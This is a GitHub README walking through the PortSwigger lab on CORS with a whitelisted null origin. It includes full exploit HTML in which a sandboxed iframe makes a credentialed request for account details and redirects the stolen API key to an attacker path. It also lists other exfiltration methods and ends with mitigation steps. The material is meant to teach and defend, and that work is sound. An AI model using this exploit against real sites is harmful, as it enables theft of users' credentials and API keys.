Skip to content

Burp lab walkthrough demonstrating how a null origin CORS misconfiguration can be exploited to exfiltrate an administrator API key, with practical mitigation recommendations.

License

Notifications You must be signed in to change notification settings

AdityaBhatt3010/CORS-vulnerability-with-trusted-null-origin

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 
 
 
 
 

Repository files navigation

CORS vulnerability with trusted null origin

Burp lab walkthrough demonstrating how a null origin CORS misconfiguration can be exploited to exfiltrate an administrator API key, with practical mitigation recommendations.

TL;DR

CORS misconfiguration allowed the lab site to trust a null origin — we used an iframe sandbox + a crafted exploit delivered from the exploit server to force a null Origin, fetch /accountDetails with credentials, and exfiltrate the administrator API key. Lab solved. Short, sharp, and tidy. 🗿✨


Intro

CORS (Cross‑Origin Resource Sharing) quietly mediates whether browsers will allow one origin to read data from another — and when misconfigured it becomes a convenient backdoor for attackers. In this walkthrough I reproduce a null‑origin CORS misconfiguration on the PortSwigger lab, show a point‑by‑point PoC that maps to screenshots, and explain how the exploit works and why it matters. Expect a concise, methodical guide with practical mitigation steps so you can both learn and defend. 🗿

Lab link: https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack

Cover


What is CORS & how to detect (brief)

CORS (Cross‑Origin Resource Sharing) controls which origins can access resources via browsers’ cross‑origin requests. Detect quickly by checking responses for CORS headers (Access-Control-Allow-Origin, Access-Control-Allow-Credentials) in the HTTP history. If ACAO reflects uncontrolled values (or accepts null) while Access-Control-Allow-Credentials: true is present, that’s a red flag — credentials can be leaked to untrusted contexts.


Lab PoC — step-by-step (mapped to screenshots)

PoC — 15 concise steps (elaborated)

  1. Turn on Burp (or your proxy) and enable FoxyProxy so the browser traffic routes through Burp.
    Make sure intercept is off when browsing the site to avoid accidental request blocking. ✅

1

  1. Open the lab URL in the proxied browser and log in using wiener:peter.
    Use the lab’s built-in user so the environment simulates a real authenticated session. 🔐

2

  1. Click My account and observe the page content showing your username and API key:
    Your username is: wiener and Your API Key is: 3XBco6bfO4Dv2i9mDRDiwKQbqrhWBx0L.
    This confirms the existence of an API endpoint that returns sensitive account data. 👀

3

  1. In Burp’s HTTP history, find the GET /accountDetails request that the page issued.
    Open the response preview to verify the JSON payload includes apikey. 📑

4

  1. Right-click the GET /accountDetails entry → Send to Repeater so you can replay and modify it.
    Resend the request in Repeater and confirm the response includes Access-Control-Allow-Credentials: true.
    Repeater gives you a controlled way to test origins and headers without altering the real browser state. 🔁

5

  1. Add a custom Origin header like Origin: www.AdityaBhatt3010.com and resend the request.
    If the server reflects or accepts arbitrary origins, that’s a signal the origin validation is weak. (Yes, a little promo — fun, harmless.) 😄

6

  1. Now change the Origin header to null and resend. Observe the response headers now contain:
    Access-Control-Allow-Origin: null and Access-Control-Allow-Credentials: true.
    Bingo: the server explicitly allows null origin while still permitting credentials — the core vulnerability. 🧨

7

  1. Prepare the attacker HTML page that performs an XHR to /accountDetails with credentials included. The simple exploit reads the response and exfiltrates it to the attacker-controlled endpoint.
    Keep this simple for the lab: read → redirect (or fetch to your server). 🔍
    (Source Code Explained in detail at the end of PoC)

8

  1. HTML-encode (entity-encode) the script block so it can be safely embedded into srcdoc or the exploit server editor without being stripped or mangled.
    Many exploit servers sanitize raw <script> tags — encoding avoids that. 🔒

9

  1. Wrap the encoded script into an <iframe> using sandbox="allow-forms allow-top-navigation allow-scripts" and put it in the exploit server body via the lab’s “exploit server” editor.
    A sandboxed srcdoc iframe typically runs with a null origin, which is exactly what we want to trigger the server’s null whitelist behavior. 🎯

10

  1. Click Deliver to victim (lab simulation) so the victim session loads your exploit iframe.
    The lab simulates the victim browsing and executing the payload in a null origin context. 🚀

11

  1. Open the exploit server Access Log to watch incoming requests. You’ll see the victim load the exploit and the exfiltration request hit your server.
    Look for the URL containing the encoded JSON payload in the query string. 🧾

12

  1. URL-decode the captured parameter and extract the apikey field. Example decoded fragment:
    "username": "administrator", "apikey": "xZ2lMdAGD4fT7ObYFJ96m1ZupDiu3kK6" — there’s your admin key. 🗝️🥳

13

  1. Paste the administrator API key into the lab’s solution box and submit — lab solved. Celebrate quietly and patch loudly. 🎉🛠️

14

  1. Congratulations! THe Lab is now Solved🥳👍

15


Source code — explained in depth (why each part matters)

The exploit (minimal, lab‑ready)

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <title>AdityaBhatt3010</title>
</head>
<body>
  <h1>AdityaBhatt3010</h1>

  <script>
    const request = new XMLHttpRequest();
    request.open("GET",
      "https://0a40007c04479b90804a0d6200190008.web-security-academy.net/accountDetails",
      true);

    request.onload = () => {
      // Exfiltrate the full response body to attacker-controlled path
      window.location.href = "/AdityaBhatt3010?key=" + encodeURIComponent(request.responseText);
    };

    // INCLUDE credentials (cookies/session) — critical for retrieving victim-specific data
    request.withCredentials = true;

    request.send();
  </script>
</body>
</html>

Line‑by‑line rationale

  • XMLHttpRequest() / request.open("GET", ... , true) Opens an asynchronous cross‑origin request to the endpoint that returns account JSON. In the victim context this is cross‑origin and would normally be blocked unless CORS permits it.

  • request.withCredentials = true This is the pivot: it forces the browser to include cookies and session credentials with the request. If the server accepts credentialed requests (i.e., Access-Control-Allow-Credentials: true) and the origin matches the server’s ACAO, the browser will allow the page to read the response. Without withCredentials, the request would still be sent in many cases but the response would not expose credentialed details.

  • request.onload = () => { window.location.href = "/AdityaBhatt3010?key=" + encodeURIComponent(request.responseText); } On success, we exfiltrate by redirecting the victim’s browser to an attacker path with the response body encoded in the query string. This is a reliable exfil technique in lab conditions; alternatives include issuing a second fetch to your collector or injecting an img/script tag whose src contains the data.

  • request.send() Dispatches the request. The combination of withCredentials + server returning Access-Control-Allow-Origin: null with Access-Control-Allow-Credentials: true makes request.responseText readable by this script in a null origin iframe.

Why the iframe + srcdoc + sandbox trick?

  • A srcdoc iframe can have a null origin in the browser’s security model, particularly when combined with a sandbox. If the server has allowed null in ACAO, then the browser’s same‑origin/CORS checks will permit that null origin to read credentialed responses — which is exactly the vulnerable configuration being exploited. The sandbox ensures the iframe cannot escape to top-level navigation except where allowed, but we grant allow-top-navigation because our payload uses a redirect exfil. Use the minimal sandbox flags necessary.

Why entity‑encode the script?

  • Many exploit servers sanitize or filter raw <script> tags. Encoding into numeric entities prevents accidental stripping and ensures the intended script ends up in srcdoc intact. After encoding, srcdoc renders those entities back into a functioning script.

Variations & practical notes

  • fetch variant: fetch(url, { credentials: 'include' }) is functionally equivalent and often more ergonomic. Either XHR or fetch works.
  • Exfiltration techniques: redirect (used here for simplicity), fetch to attacker collector, navigator.sendBeacon, or resource injection (new Image().src = ...) depending on lab constraints.
  • Always encodeURIComponent the payload when placing it in a query string to avoid accidental truncation or parsing issues.

Defensive recap (brief)

  • Do not whitelist null. Treat null as untrusted.
  • Don’t reflect Origin blindly. Validate incoming Origin against a server‑side allowlist; only echo the exact approved origin.
  • If Access-Control-Allow-Credentials: true is necessary, ACAO must be a single explicit trusted origin (never *, never dynamic unvalidated input).
  • Server‑side auth checks: endpoints returning secrets must enforce authorization checks regardless of CORS. CORS is not an access control mechanism; it’s a browser policy.

Mitigation steps (brief & practical)

  1. Never whitelist null. Treat null as untrusted — do not include it in allowed origins.
  2. Avoid reflecting arbitrary Origin values. Don’t echo back the Origin header blindly. Instead, maintain a server‑side allowlist and compare incoming Origin against that list; send an explicit ACAO only when it matches exactly.
  3. Use strict origin checks when Access-Control-Allow-Credentials: true is required. If credentials are allowed, ACAO must be a single, explicit origin (not * and not reflected user input).
  4. Set Vary: Origin header. Helps proxies and caching handle origin‑specific responses correctly.
  5. Protect sensitive endpoints server‑side. Don’t rely solely on CORS: enforce server‑side authorization (session checks, tokens) for APIs that return secrets.
  6. Use secure cookies and SameSite where appropriate. SameSite=Lax/Strict reduces cross‑site request risks for cookies.
  7. Content security and frame protection. Use X‑Frame‑Options / frame‑ancestors CSP to reduce clickjacking; but remember this does not replace proper CORS checks.
  8. Pen‑test and automate checks. Add automated tests that ensure null or arbitrary origins are not accepted for credentialed endpoints.

GoodBye Note

That’s the full loop — discovery, exploit, and remediation. This lab shows how a small misstep (whitelisting null or reflecting origin values) leads to big consequences: credentialed responses becoming readable to attacker-controlled contexts. Patch the server‑side logic, enforce strict origin allowlists, and re-test with automated checks. If you followed along with screenshots, you should now be able to reproduce and remediate this issue confidently. Keep testing responsibly and stay majestic. 🗿🔥

~ Aditya Bhatt


About

Burp lab walkthrough demonstrating how a null origin CORS misconfiguration can be exploited to exfiltrate an administrator API key, with practical mitigation recommendations.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages